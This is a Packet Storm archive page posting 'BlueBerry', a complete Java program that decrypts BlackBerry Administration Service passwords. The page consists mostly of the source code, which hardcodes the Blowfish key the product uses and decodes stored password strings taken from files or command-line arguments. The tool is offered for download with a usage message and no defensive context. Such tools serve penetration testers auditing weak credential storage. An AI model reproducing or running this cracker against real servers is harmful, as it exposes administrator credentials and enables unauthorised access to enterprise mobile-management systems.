exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

BlueBerry Password Cracker

BlueBerry Password Cracker
Posted Dec 13, 2010
Authored by Nicolas Collignon | Site hsc.fr

BlueBerry is a tool written in java that can be used to decrypt BlackBerry Administration Service passwords.

tags | java, cracker
SHA-256 | 02b7b2bb7cbc5ac3d61fd4b60523949d0abf0119c799d18becadc5ee8b085ed4

BlueBerry Password Cracker

Change Mirror Download
/*
* BlueBerry, a BlackBerry Administration Service passwords cracker
* -- nicolas.collignon@hsc.fr
*/
import java.io.FileInputStream;
import java.io.DataInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.math.BigInteger;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class BlueBerry {

private static final String algo = "Blowfish";

// jaas is the way
private static final byte[] magic_key =
{0x6a,0x61,0x61,0x73,0x20,0x69,0x73,0x20,0x74,0x68,0x65,0x20,0x77,0x61,0x79};

public static String decode(String password) {
Cipher cipher;
byte[] data;
byte msb;

try {
cipher = Cipher.getInstance(algo);
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(magic_key, algo));

msb = 1;
if (password.startsWith("z")) {
password = password.substring(1);
msb = 0;
} else if (password.startsWith("m")) {
password = password.substring(1);
msb = -1;
}

data = (new BigInteger(password, 16)).toByteArray();
if (msb != 1)
data[0] = msb;

return new String(cipher.doFinal(data));

} catch (Exception e) {
System.err.println("error: failed to decrypt " + password + " (" + e.toString() +")");
return "<error>";
}
}

public static void main(String argv[]) {

int i, pos;
DataInputStream in;
BufferedReader br;
String line, secret;

if ((argv == null) || (argv.length < 1)
|| (argv[0].equals("-p") && (argv.length < 2))) {
System.out.println("usage: BlueBerry <pass.txt> [[pass2.txt] ..]\n"
+ " -p <pass> [[pass2] ..]");
return;
}

if (argv[0].equals("-p")) {
// read passwords from command line
for (i=1; i<argv.length; ++i) {
if (argv.length > 2)
System.out.println(argv[i] + ":" + decode(argv[i]));
else
System.out.println(decode(argv[i]));
}
return;
}

// read passwords from file
for (i=0; i<argv.length; ++i) {
try {
in = new DataInputStream(new FileInputStream(argv[i]));
br = new BufferedReader(new InputStreamReader(in));
while ((line = br.readLine()) != null) {
line = line.trim();
if (line.equals(""))
continue;

pos = line.indexOf(":");
if (pos > 0) {
secret = line.substring(pos+1).trim();
if (secret.equals(""))
continue;
line = line.substring(0, pos);
} else {
line = "";
secret = line;
}

System.out.println(line + ":" +decode(secret));
}
in.close();
} catch (Exception e) {
System.err.println("error: failed to read " + argv[i] + " (" + e.toString() + ")");
}
}
}

}


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close